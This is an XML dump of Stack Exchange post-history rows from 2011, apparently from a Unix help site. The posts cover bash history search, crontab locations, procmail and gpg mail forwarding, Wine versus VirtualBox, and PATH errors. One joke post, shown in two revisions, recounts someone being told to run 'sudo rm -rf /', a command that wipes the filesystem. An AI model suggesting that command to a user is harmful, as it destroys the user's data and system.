  <row Id="16315" PostHistoryTypeId="2" PostId="7062" RevisionGUID="23cf4bc0-5591-4a48-9f2a-678b7456b96b" CreationDate="2011-02-07T20:41:18.617" UserId="1131" Text="You could create a normal user, e.g. juser, and add it to the `/etc/aliases` file on the right hand side of the root entry.&#xD;&#xA;&#xD;&#xA;For normal forwarding of root-mail you would just create a `.forward` (which contains your external e-mail address) in the home directory of juser.&#xD;&#xA;&#xD;&#xA;Regarding encryption you can use a MDA (mail delivery agent for that), e.g. `procmail` and for that. Instead of a `.forward` you have to create a `.procmailrc` file in the home directory of juser in that case.&#xD;&#xA;&#xD;&#xA;Via `.procmailrc` you can pipe a message (header/body) through an external program, e.g. a simple script that basically contains some `gpg` command. And with the right rule at the end of the procmailrc, you can forward the (processed) message to your external e-mail address." />
  <row Id="16316" PostHistoryTypeId="5" PostId="7061" RevisionGUID="d9d9e2af-cc3a-4f56-b483-ff4cde4b08ef" CreationDate="2011-02-07T20:43:01.287" UserId="688" Comment="deleted 41 characters in body" Text="At times when I do &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to search through command history, I find that I don't reach the entry I was looking for, even though I know it's in history. I think this is due to me having passed the entry, forcing me to use another command to go the other direction. Is there a command that allows the whole of history to be searched by looping through it (restarting the cycle) when it reaches the end?" />
  <row Id="16317" PostHistoryTypeId="2" PostId="7063" RevisionGUID="f5975f0a-e473-476b-9023-d7f863d91fb9" CreationDate="2011-02-07T20:50:58.230" UserId="688" Text="When I do a search using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, the search gets limited to entries older than displayed hit. How do I reset this so that it starts from the beginning (i.e. from latest history entry) without leaving the shell?" />
  <row Id="16318" PostHistoryTypeId="1" PostId="7063" RevisionGUID="f5975f0a-e473-476b-9023-d7f863d91fb9" CreationDate="2011-02-07T20:50:58.230" UserId="688" Text="How to get history search to start afresh?" />
  <row Id="16319" PostHistoryTypeId="3" PostId="7063" RevisionGUID="f5975f0a-e473-476b-9023-d7f863d91fb9" CreationDate="2011-02-07T20:50:58.230" UserId="688" Text="ébashàécommandöhistoryà" />
  <row Id="16320" PostHistoryTypeId="2" PostId="7064" RevisionGUID="9751c1da-36e4-45d9-b51c-639489e53219" CreationDate="2011-02-07T20:56:19.813" UserId="3169" Text="The simplest solution I can suggest is to press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;&gt;&lt;/kbd&gt; to go back to the end of your history.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or you could use `history | grep &lt;whatever&gt;` then type `!&lt;number from left column&gt;` to run it.&#xD;&#xA;&#xD;&#xA;If that's too long to type, make it a function to save some typing, e.g.&#xD;&#xA;&#xD;&#xA;    hgrep() {&#xD;&#xA;        history | grep &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;But perhaps the real issue is that you can't change directions.&#xD;&#xA;&#xD;&#xA;`history-search-backward` and `history-search-forward` can be easier to use.&#xD;&#xA;&#xD;&#xA;e.g. `ls` &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; , &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;  will search backwards thru all your `ls` commands.&#xD;&#xA;&#xD;&#xA;Plus you can change directions just by pressing the other shortcut, e.g. if you're at the oldest command, you can just switch from pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Set it up by putting this in your `/etc/inputrc` or `.inputrc` for `bash`:&#xD;&#xA;&#xD;&#xA;    $if mode=emacs&#xD;&#xA;    &quot;\ep&quot;: history-search-backward&#xD;&#xA;    &quot;\en&quot;: history-search-forward&#xD;&#xA;    $endif&#xD;&#xA;&#xD;&#xA;and this in your `.zshrc` for `zsh`:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[p' history-beginning-search-backward&#xD;&#xA;    bindkey -M emacs '^[n' history-beginning-search-forward&#xD;&#xA;&#xD;&#xA;You could even go one step further and make the Up arrow do this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, are you sure the command is being entered into history?  Maybe it's being ignored due to the `HISTCONTROL` or `HISTIGNORE` settings, or it's falling of the end due to `HISTSIZE`?" />
  <row Id="16321" PostHistoryTypeId="2" PostId="7065" RevisionGUID="ea520a92-c0fb-4381-8417-c3b0d8ed4165" CreationDate="2011-02-07T20:58:51.750" UserId="3976" Text="Depending on how your linux system is set up, you can look in:&#xD;&#xA;&#xD;&#xA; - /var/spool/cron/* (user crontabs)&#xD;&#xA; - /etc/crontab (system-wide crontab)&#xD;&#xA;&#xD;&#xA;also, many distros have:&#xD;&#xA;&#xD;&#xA; - /etc/cron.d/*&#xD;&#xA;These configurations have the same syntax as /etc/crontab&#xD;&#xA;&#xD;&#xA; - /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly&#xD;&#xA;&#xD;&#xA;These are simply directories that contain executables that are executed hourly, daily, weekly or monthly, per their directory name.&#xD;&#xA;&#xD;&#xA;On top of that, you can have at jobs (check /var/spool/at/*), anacron (/etc/anacrontab and /var/spool/anacron/*) and probably others I'm forgetting." />
  <row Id="16322" PostHistoryTypeId="2" PostId="7066" RevisionGUID="c873aa03-1f91-4361-9406-fb1b694c27d6" CreationDate="2011-02-07T20:59:36.970" UserId="1501" Text="Some shared libraries provide an output when called from the command line as if they were executables. For example:&#xD;&#xA;&#xD;&#xA;    $ /lib/libc.so.6 &#xD;&#xA;    GNU C Library stable release version 2.13, by Roland McGrath et al.&#xD;&#xA;    Copyright (C) 2011 Free Software Foundation, Inc.&#xD;&#xA;    This is free software; see the source for copying conditions.&#xD;&#xA;    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A&#xD;&#xA;    PARTICULAR PURPOSE.&#xD;&#xA;    Compiled by GNU CC version 4.5.2.&#xD;&#xA;    Compiled on a Linux 2.6.37 system on 2011-01-18.&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;In a shared library of my own written in C, how can I provide this output? I've executed now a library I just made and I get a `segment fault`.&#xD;&#xA;" />
  <row Id="16323" PostHistoryTypeId="1" PostId="7066" RevisionGUID="c873aa03-1f91-4361-9406-fb1b694c27d6" CreationDate="2011-02-07T20:59:36.970" UserId="1501" Text="Executing a shared library" />
  <row Id="16324" PostHistoryTypeId="3" PostId="7066" RevisionGUID="c873aa03-1f91-4361-9406-fb1b694c27d6" CreationDate="2011-02-07T20:59:36.970" UserId="1501" Text="élibrariesàécà" />
  <row Id="16325" PostHistoryTypeId="5" PostId="7060" RevisionGUID="6778026f-2efd-4018-907c-09fae995360f" CreationDate="2011-02-07T21:01:31.143" UserId="1131" Comment="/var/spool" Text="Probably depends on the crond you are using. For example, with Vixie-Cron (debian/ubuntu default) you get it for the current user via:&#xD;&#xA;&#xD;&#xA;    $ crontab -l&#xD;&#xA;&#xD;&#xA;or for another user via&#xD;&#xA;&#xD;&#xA;    $ crontab -l -u juser&#xD;&#xA;&#xD;&#xA;To get the crontabs for all users you can loop over all users and call this command.&#xD;&#xA;&#xD;&#xA;Alternatively, you can look up the spool files. Usually, they are are saved under `/var/spool/cron`, e.g. for vcron following directory&#xD;&#xA;&#xD;&#xA;    /var/spool/cron/crontabs&#xD;&#xA;&#xD;&#xA;contains all the configured crontabs of all users.&#xD;&#xA;" />
  <row Id="16326" PostHistoryTypeId="5" PostId="7064" RevisionGUID="9c5af70f-409e-4bb9-b561-d881e968ed41" CreationDate="2011-02-07T21:11:50.163" UserId="3169" Comment="added 138 characters in body; added 1 characters in body" Text="You could to press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;&gt;&lt;/kbd&gt; to go back to the end of your history then search again.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or if your terminal is configured to send &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, (e.g. by running `stty stop undef`), then you can change directions just by pressing it &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or you could use `history | grep &lt;whatever&gt;` then type `!&lt;number from left column&gt;` to run it.&#xD;&#xA;&#xD;&#xA;If that's too long to type, make it a function to save some typing, e.g.&#xD;&#xA;&#xD;&#xA;    hgrep() {&#xD;&#xA;        history | grep &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or set up `history-search-backward` and `history-search-forward`.  They can be easier to use.&#xD;&#xA;&#xD;&#xA;e.g. `ls` &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; , &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;  will search backwards thru all your `ls` commands.&#xD;&#xA;&#xD;&#xA;Plus you can change directions just by pressing the other shortcut, e.g. if you're at the oldest command, you can just switch from pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Set it up by putting this in your `/etc/inputrc` or `.inputrc` for `bash`:&#xD;&#xA;&#xD;&#xA;    $if mode=emacs&#xD;&#xA;    &quot;\ep&quot;: history-search-backward&#xD;&#xA;    &quot;\en&quot;: history-search-forward&#xD;&#xA;    $endif&#xD;&#xA;&#xD;&#xA;and this in your `.zshrc` for `zsh`:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[p' history-beginning-search-backward&#xD;&#xA;    bindkey -M emacs '^[n' history-beginning-search-forward&#xD;&#xA;&#xD;&#xA;You could even go one step further and make the Up arrow do this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, are you sure the command is being entered into history?  Maybe it's being ignored due to the `HISTCONTROL` or `HISTIGNORE` settings, or it's falling of the end due to `HISTSIZE`?" />
  <row Id="16327" PostHistoryTypeId="5" PostId="7060" RevisionGUID="5ad3e05a-e7da-4d62-ab68-f55158eac276" CreationDate="2011-02-07T21:15:08.557" UserId="1131" Comment="/etc/crontab" Text="Probably depends on the crond you are using. For example, with Vixie-Cron (debian/ubuntu default) you get it for the current user via:&#xD;&#xA;&#xD;&#xA;    $ crontab -l&#xD;&#xA;&#xD;&#xA;or for another user via&#xD;&#xA;&#xD;&#xA;    $ crontab -l -u juser&#xD;&#xA;&#xD;&#xA;To get the crontabs for all users you can loop over all users and call this command.&#xD;&#xA;&#xD;&#xA;Alternatively, you can look up the spool files. Usually, they are are saved under `/var/spool/cron`, e.g. for vcron following directory&#xD;&#xA;&#xD;&#xA;    /var/spool/cron/crontabs&#xD;&#xA;&#xD;&#xA;contains all the configured crontabs of all users - expect of the system-wide crontab which is at&#xD;&#xA;&#xD;&#xA;    /etc/crontab&#xD;&#xA;" />
  <row Id="16328" PostHistoryTypeId="2" PostId="7067" RevisionGUID="808ca44f-e1a2-490c-bae4-178ee2adb9ef" CreationDate="2011-02-07T21:16:28.240" UserId="2689" Text="I have a wav file, Duration: 00:00:00.17 (less than a second!)&#xD;&#xA;&#xD;&#xA;When I call play to execute it, `play` plays it, but my terminal becomes idle for 4s until play process is done.&#xD;&#xA;&#xD;&#xA;Is this by design? Is it possible to just play the sound and be done in less than a second?" />
  <row Id="16329" PostHistoryTypeId="1" PostId="7067" RevisionGUID="808ca44f-e1a2-490c-bae4-178ee2adb9ef" CreationDate="2011-02-07T21:16:28.240" UserId="2689" Text="Do the &quot;play&quot; utility in Linux really have a &quot;delay&quot; to close itself with really small files?" />
  <row Id="16330" PostHistoryTypeId="3" PostId="7067" RevisionGUID="808ca44f-e1a2-490c-bae4-178ee2adb9ef" CreationDate="2011-02-07T21:16:28.240" UserId="2689" Text="éaudioàéplayà" />
  <row Id="16334" PostHistoryTypeId="2" PostId="7069" RevisionGUID="70af847a-ee94-4726-b46e-4d678b0266cb" CreationDate="2011-02-07T21:29:31.007" UserId="3169" Text="Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;&gt;&lt;/kbd&gt;.&#xD;&#xA;" />
  <row Id="16335" PostHistoryTypeId="5" PostId="7064" RevisionGUID="540ac6e6-1e49-425e-916d-dda1897942ee" CreationDate="2011-02-07T21:35:53.760" UserId="3169" Comment="added 1 characters in body; added 467 characters in body" Text="You could use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;&gt;&lt;/kbd&gt; to go back to the end of your history then search again, but maybe you knew that, and it's not what you want.&#xD;&#xA;&#xD;&#xA;Unfortunately, I don't think there's a way to make it wrap around.&#xD;&#xA;&#xD;&#xA;For example, if `readline` had a variable to see what line of history we were on, then we could write a macro to inspect the variable, and if it was line 1, we could run `end-of-history`, otherwise `reverse-search-history`, then bind that to a keyboard shortcut.&#xD;&#xA;&#xD;&#xA;So short of that, here's some other suggestions that you might find viable alternatives:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If your terminal is configured to send &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, (e.g. by running `stty stop undef`), then you can change directions just by pressing it &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You could use `history | grep &lt;whatever&gt;` then type `!&lt;number from left column&gt;` to run it.&#xD;&#xA;&#xD;&#xA;If that's too long to type, make it a function to save some typing, e.g.&#xD;&#xA;&#xD;&#xA;    hgrep() {&#xD;&#xA;        history | grep &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Set up `history-search-backward` and `history-search-forward`.  They can be easier to use.&#xD;&#xA;&#xD;&#xA;e.g. `ls` &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; , &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;  will search backwards thru all your `ls` commands.&#xD;&#xA;&#xD;&#xA;Plus you can change directions just by pressing the other shortcut, e.g. if you're at the oldest command, you can just switch from pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Set it up by putting this in your `/etc/inputrc` or `.inputrc` for `bash`:&#xD;&#xA;&#xD;&#xA;    $if mode=emacs&#xD;&#xA;    &quot;\ep&quot;: history-search-backward&#xD;&#xA;    &quot;\en&quot;: history-search-forward&#xD;&#xA;    $endif&#xD;&#xA;&#xD;&#xA;and this in your `.zshrc` for `zsh`:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[p' history-beginning-search-backward&#xD;&#xA;    bindkey -M emacs '^[n' history-beginning-search-forward&#xD;&#xA;&#xD;&#xA;You could even go one step further and make the Up arrow do this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, are you sure the command is being entered into history?  Maybe it's being ignored due to the `HISTCONTROL` or `HISTIGNORE` settings, or it's falling off the end due to `HISTSIZE`?" />
  <row Id="16336" PostHistoryTypeId="5" PostId="7064" RevisionGUID="870b5183-cc4d-4a57-a0c7-6eb57648affa" CreationDate="2011-02-07T21:42:39.397" UserId="3169" Comment="deleted 90 characters in body" Text="You could use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;&gt;&lt;/kbd&gt; to go back to the end of your history then search again, but maybe you knew that, and it's not what you want.&#xD;&#xA;&#xD;&#xA;Unfortunately, I don't think there's a way to make it wrap around.&#xD;&#xA;&#xD;&#xA;I can't see anything about it in `man bash` or `man readline`.&#xD;&#xA;&#xD;&#xA;We could try writing a `readline` macro, but there's no variable telling us what line of history we're on.&#xD;&#xA;&#xD;&#xA;So short of that, here's some other suggestions that you might find viable alternatives:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If your terminal is configured to send &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, (e.g. by running `stty stop undef`), then you can change directions just by pressing it &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You could use `history | grep &lt;whatever&gt;` then type `!&lt;number from left column&gt;` to run it.&#xD;&#xA;&#xD;&#xA;If that's too long to type, make it a function to save some typing, e.g.&#xD;&#xA;&#xD;&#xA;    hgrep() {&#xD;&#xA;        history | grep &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Set up `history-search-backward` and `history-search-forward`.  They can be easier to use.&#xD;&#xA;&#xD;&#xA;e.g. `ls` &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; , &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;  will search backwards thru all your `ls` commands.&#xD;&#xA;&#xD;&#xA;Plus you can change directions just by pressing the other shortcut, e.g. if you're at the oldest command, you can just switch from pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Set it up by putting this in your `/etc/inputrc` or `.inputrc` for `bash`:&#xD;&#xA;&#xD;&#xA;    $if mode=emacs&#xD;&#xA;    &quot;\ep&quot;: history-search-backward&#xD;&#xA;    &quot;\en&quot;: history-search-forward&#xD;&#xA;    $endif&#xD;&#xA;&#xD;&#xA;and this in your `.zshrc` for `zsh`:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[p' history-beginning-search-backward&#xD;&#xA;    bindkey -M emacs '^[n' history-beginning-search-forward&#xD;&#xA;&#xD;&#xA;You could even go one step further and make the Up arrow do this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, are you sure the command is being entered into history?  Maybe it's being ignored due to the `HISTCONTROL` or `HISTIGNORE` settings, or it's falling off the end due to `HISTSIZE`?" />
  <row Id="16337" PostHistoryTypeId="5" PostId="7046" RevisionGUID="fd086f36-34be-4f7b-9d1d-8057126672a3" CreationDate="2011-02-07T22:02:46.420" UserId="298" Comment="Made question a bit more clear" Text="How can I add a 10sec sleep to my loop after each page is processed?&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    for page in {1..50}&#xD;&#xA;    do&#xD;&#xA;            wget -q -U Mozilla &quot;http://admin.domain.com/products_search/?p=$page&quot; -O - \&#xD;&#xA;             | tr '&quot;' '\n' | grep &quot;^Product photo for &quot; | cut -d ' ' -f 3 &gt; bproduct.txt&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16338" PostHistoryTypeId="24" PostId="7046" RevisionGUID="71265193-6e76-42c8-82c1-4272b8057993" CreationDate="2011-02-07T22:02:46.420" Comment="Proposed by 298 approved by 73 edit id of 18" />
  <row Id="16339" PostHistoryTypeId="5" PostId="7024" RevisionGUID="3f7e9b70-a016-45f7-8bdc-3b4586aea6ec" CreationDate="2011-02-07T22:03:36.157" UserId="4569" Comment="Don't link to secure Wikipedia! http://goo.gl/3g6QX" Text="You use a [cross compiler][1] to produce executables (or objects) for a platform other than the local host.  The native compiler only produces native binaries.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cross_compiler" />
  <row Id="16340" PostHistoryTypeId="24" PostId="7024" RevisionGUID="aa128e7b-3a66-4489-8d23-a17ad3db840a" CreationDate="2011-02-07T22:03:36.157" Comment="Proposed by 4569 approved by 73 edit id of 19" />
  <row Id="16341" PostHistoryTypeId="2" PostId="7070" RevisionGUID="3e8ceb5d-7bf4-4c9b-a193-af71eb1ffdae" CreationDate="2011-02-07T22:18:38.060" UserId="73" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; will abort the search; starting a new one will begin with the latest history entry again" />
  <row Id="16342" PostHistoryTypeId="4" PostId="7067" RevisionGUID="3e8c6462-ad03-40a3-b5f8-c93b4baf5a6e" CreationDate="2011-02-07T22:22:34.293" UserId="2689" Comment="edited title" Text="Do the &quot;play&quot; utility in Linux really have a &quot;delay&quot; to stop it's process with really small files?" />
  <row Id="16343" PostHistoryTypeId="2" PostId="7071" RevisionGUID="7bb57a90-3d51-4880-a59f-6a56abb80c8f" CreationDate="2011-02-07T22:36:15.860" UserId="3169" Text="Try defining a `void __libc_main()` or `void _init()`." />
  <row Id="16344" PostHistoryTypeId="2" PostId="7072" RevisionGUID="669b3a7b-27ba-42c9-9944-1cba7de47570" CreationDate="2011-02-07T22:48:40.710" UserId="4575" Text="I have used Wine before. I recently heard of VirtualBox. Do they do the same thing? What are the differences and relative merits of these?" />
  <row Id="16345" PostHistoryTypeId="1" PostId="7072" RevisionGUID="669b3a7b-27ba-42c9-9944-1cba7de47570" CreationDate="2011-02-07T22:48:40.710" UserId="4575" Text="Wine vs Virtualbox?" />
  <row Id="16346" PostHistoryTypeId="3" PostId="7072" RevisionGUID="669b3a7b-27ba-42c9-9944-1cba7de47570" CreationDate="2011-02-07T22:48:40.710" UserId="4575" Text="évirtualboxàéwineà" />
  <row Id="16347" PostHistoryTypeId="2" PostId="7073" RevisionGUID="25e4d731-628e-4da5-9f73-f1b08e3d2f42" CreationDate="2011-02-07T23:02:41.277" UserId="4576" Text="1st ex employee: how do I do (something trivial)?  &#xD;&#xA;2nd ex employee: sudo rm -rf /  &#xD;&#xA;1st ex employee: haha ok  &#xD;&#xA;...  &#xD;&#xA;1st ex employee (having forgotten that he'd just sudo'd something else, so it didnt ask for his password again) : oh F**K!!! " />
  <row Id="16351" PostHistoryTypeId="25" PostId="7053" RevisionGUID="112b260d-35cf-47b0-a9ba-34896ebe9212" CreationDate="2011-02-07T23:16:30.133" Comment="http://twitter.com/#!/StackUnix/status/34752389789663232" />
  <row Id="16352" PostHistoryTypeId="2" PostId="7075" RevisionGUID="50a5d604-2449-4211-b16c-0f5c60a94071" CreationDate="2011-02-07T23:23:14.360" UserId="4194" Text="They are not the same, no.  VirtualBox is a &quot;virtual machine&quot;, which means that it create a system where the software inside thinks it is on a real piece of hardware; VirtualBox can run Windows, MacOSX, Linux, SunOS (for x86), etc.  It would be a operating system once you start and then you would need to install the applications you desire to run.  With VirtualBox, a Windows app will look like a Windows app and a MacOSX app will look like a MacOSX app.&#xD;&#xA;&#xD;&#xA;Wine is a MS-Windows interface emulator.  It mimics the windowing libraries so a MS-Windows GUI program can display in XWindows instead of WinXP/Vista/Win7.  It is not an environment, it can only run one program (but you can start multiple wine apps).  Because it is mimicing the standard MS libraries, not all Windows programs may run under it if they need additional libraries or if they bypass the standard libraries and try to access lower-level libraries/interfaces.  With Wine, it may not look like a Windows app once it is running.&#xD;&#xA;&#xD;&#xA;VirtualBox takes a lot more room (creating a copy of the guest OS), but it is much more reliable than apps using Wine (usually not Wine's fault, but the apps fault).  And if you have an application that needs support programs (like Putty using Pageant), that won't work with Wine, but works very well in VirtualBox." />
  <row Id="16353" PostHistoryTypeId="5" PostId="7073" RevisionGUID="7f0a34de-8d0c-4372-a292-75babd61eeb9" CreationDate="2011-02-07T23:34:00.383" UserId="4576" Comment="added 1 characters in body" Text="1st ex employee: how do I do (something trivial)?  &#xD;&#xA;2nd ex employee: sudo rm -rf /  &#xD;&#xA;1st ex employee: haha ok  &#xD;&#xA;...  &#xD;&#xA;1st ex employee (having forgotten that he'd just sudo'd something else, so it didn't ask for his password again) : oh F**K!!! " />
  <row Id="16354" PostHistoryTypeId="2" PostId="7076" RevisionGUID="64b38831-273e-499b-af9c-5ed9af6d24e1" CreationDate="2011-02-07T23:42:40.193" UserId="4579" Text="When I open terminal I get an automatic error message &quot;-bash: PATH command not found.&quot; then I am stumped in getting multiple &quot;-bash &quot;x&quot; command not found&quot; messages, even to simple commands such as &quot;ls&quot; &quot;cd&quot; &quot;mkdir&quot; &quot;rm&quot;. Just about the ONLY commands I get a response to are &quot;echo&quot; and &quot;export&quot;. Could my Unix system files be corrupt, as has been suggested in some searches for help? My hunch is that there is some setting that directs me away from the proper spot to make UNIX commands, but I don't know how to fix that. " />
  <row Id="16355" PostHistoryTypeId="1" PostId="7076" RevisionGUID="64b38831-273e-499b-af9c-5ed9af6d24e1" CreationDate="2011-02-07T23:42:40.193" UserId="4579" Text="Multiple &quot;-bash command not found&quot; messages in Mac OS X Snow Leopard Unix" />
  <row Id="16356" PostHistoryTypeId="3" PostId="7076" RevisionGUID="64b38831-273e-499b-af9c-5ed9af6d24e1" CreationDate="2011-02-07T23:42:40.193" UserId="4579" Text="écommandölineà" />
  <row Id="16357" PostHistoryTypeId="2" PostId="7077" RevisionGUID="ec011d4c-e5a8-47f8-96d5-911008c6ef4a" CreationDate="2011-02-08T00:24:44.387" UserId="4" Text="Your .bashrc or .bash_profile files (or other startup files) contain a typo, and your PATH is invalid. To really be sure, we'd need to see your .bashrc or .bash_profile files.&#xD;&#xA;&#xD;&#xA;Commands like &quot;ls&quot; &quot;cd&quot; &quot;mkdir&quot; &quot;rm&quot; won't work because your shell cannot find them in your PATH, because your PATH is invalid. Commands like `echo` and &quot;`export` are built in to Bash, which is why they work.&#xD;&#xA;&#xD;&#xA;Search your .bashrc or .bash_profile files and look for the lines where PATH is defined. You might have a bad definition where second PATH doesn't start with a $, like this:&#xD;&#xA;&#xD;&#xA;	export PATH=PATH:/usr/local/bin:/usr/local/sbin&#xD;&#xA;	export PATH=PATH:/opt/local/bin:/opt/local/sbin&#xD;&#xA;&#xD;&#xA;It should say something like this:&#xD;&#xA;&#xD;&#xA;	export PATH=$PATH:/usr/local/bin:/usr/local/sbin&#xD;&#xA;	export PATH=$PATH:/opt/local/bin:/opt/local/sbin&#xD;&#xA;" />
  <row Id="16361" PostHistoryTypeId="5" PostId="7077" RevisionGUID="68ae1595-3b30-4864-a12c-6ff88975148d" CreationDate="2011-02-08T00:52:55.730" UserId="4" Comment="added 3 characters in body" Text="Your .bashrc or .bash_profile files (or other startup files) contain a typo, and your PATH is invalid. To really be certain, we'd need to see your .bashrc or .bash_profile files.&#xD;&#xA;&#xD;&#xA;Commands like &quot;ls&quot; &quot;cd&quot; &quot;mkdir&quot; &quot;rm&quot; won't work because your shell cannot find them in your PATH, because your PATH is invalid. Commands like `echo` and &quot;`export` are built in to Bash, which is why they work.&#xD;&#xA;&#xD;&#xA;Search your .bashrc or .bash_profile files and look for the lines where PATH is defined. You might have a bad definition where second PATH doesn't start with a $, like this:&#xD;&#xA;&#xD;&#xA;	export PATH=PATH:/usr/local/bin:/usr/local/sbin&#xD;&#xA;	export PATH=PATH:/opt/local/bin:/opt/local/sbin&#xD;&#xA;&#xD;&#xA;It should say something like this:&#xD;&#xA;&#xD;&#xA;	export PATH=$PATH:/usr/local/bin:/usr/local/sbin&#xD;&#xA;	export PATH=$PATH:/opt/local/bin:/opt/local/sbin&#xD;&#xA;" />
  <row Id="16362" PostHistoryTypeId="2" PostId="7078" RevisionGUID="7cfe7158-72d0-4a8e-a276-2c1194ebecd0" CreationDate="2011-02-08T00:55:36.340" UserId="4057" Text="pwgen is a wonderful little cli tool that let's you specify a number of parameters to set complexity, character classes number of passwords to generate, length, etc." />
  <row Id="16364" PostHistoryTypeId="2" PostId="7080" RevisionGUID="e219aca1-30de-4d6f-88e0-fcbbec861532" CreationDate="2011-02-08T01:42:30.487" UserId="3169" Text="Gilles and Stefan Lasiewski's answers are both good, but this way is simpler:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i 01-Daemon.mp3 2&gt;&amp;1 &gt;/dev/null | grep &quot;pattern&quot;&#xD;&#xA;&#xD;&#xA;I am assuming you don't want `ffmpeg's` stdout printed.&#xD;&#xA;&#xD;&#xA;How it works:&#xD;&#xA;&#xD;&#xA;  * pipes first&#xD;&#xA;    + ffmpeg and grep are started, with ffmpeg's stdout going to grep's stdin&#xD;&#xA;  * redirections next, left to right&#xD;&#xA;    + ffmpeg's stderr is set to whatever its stdout is&#xD;&#xA;    + ffmpeg's stdout is set to /dev/null&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
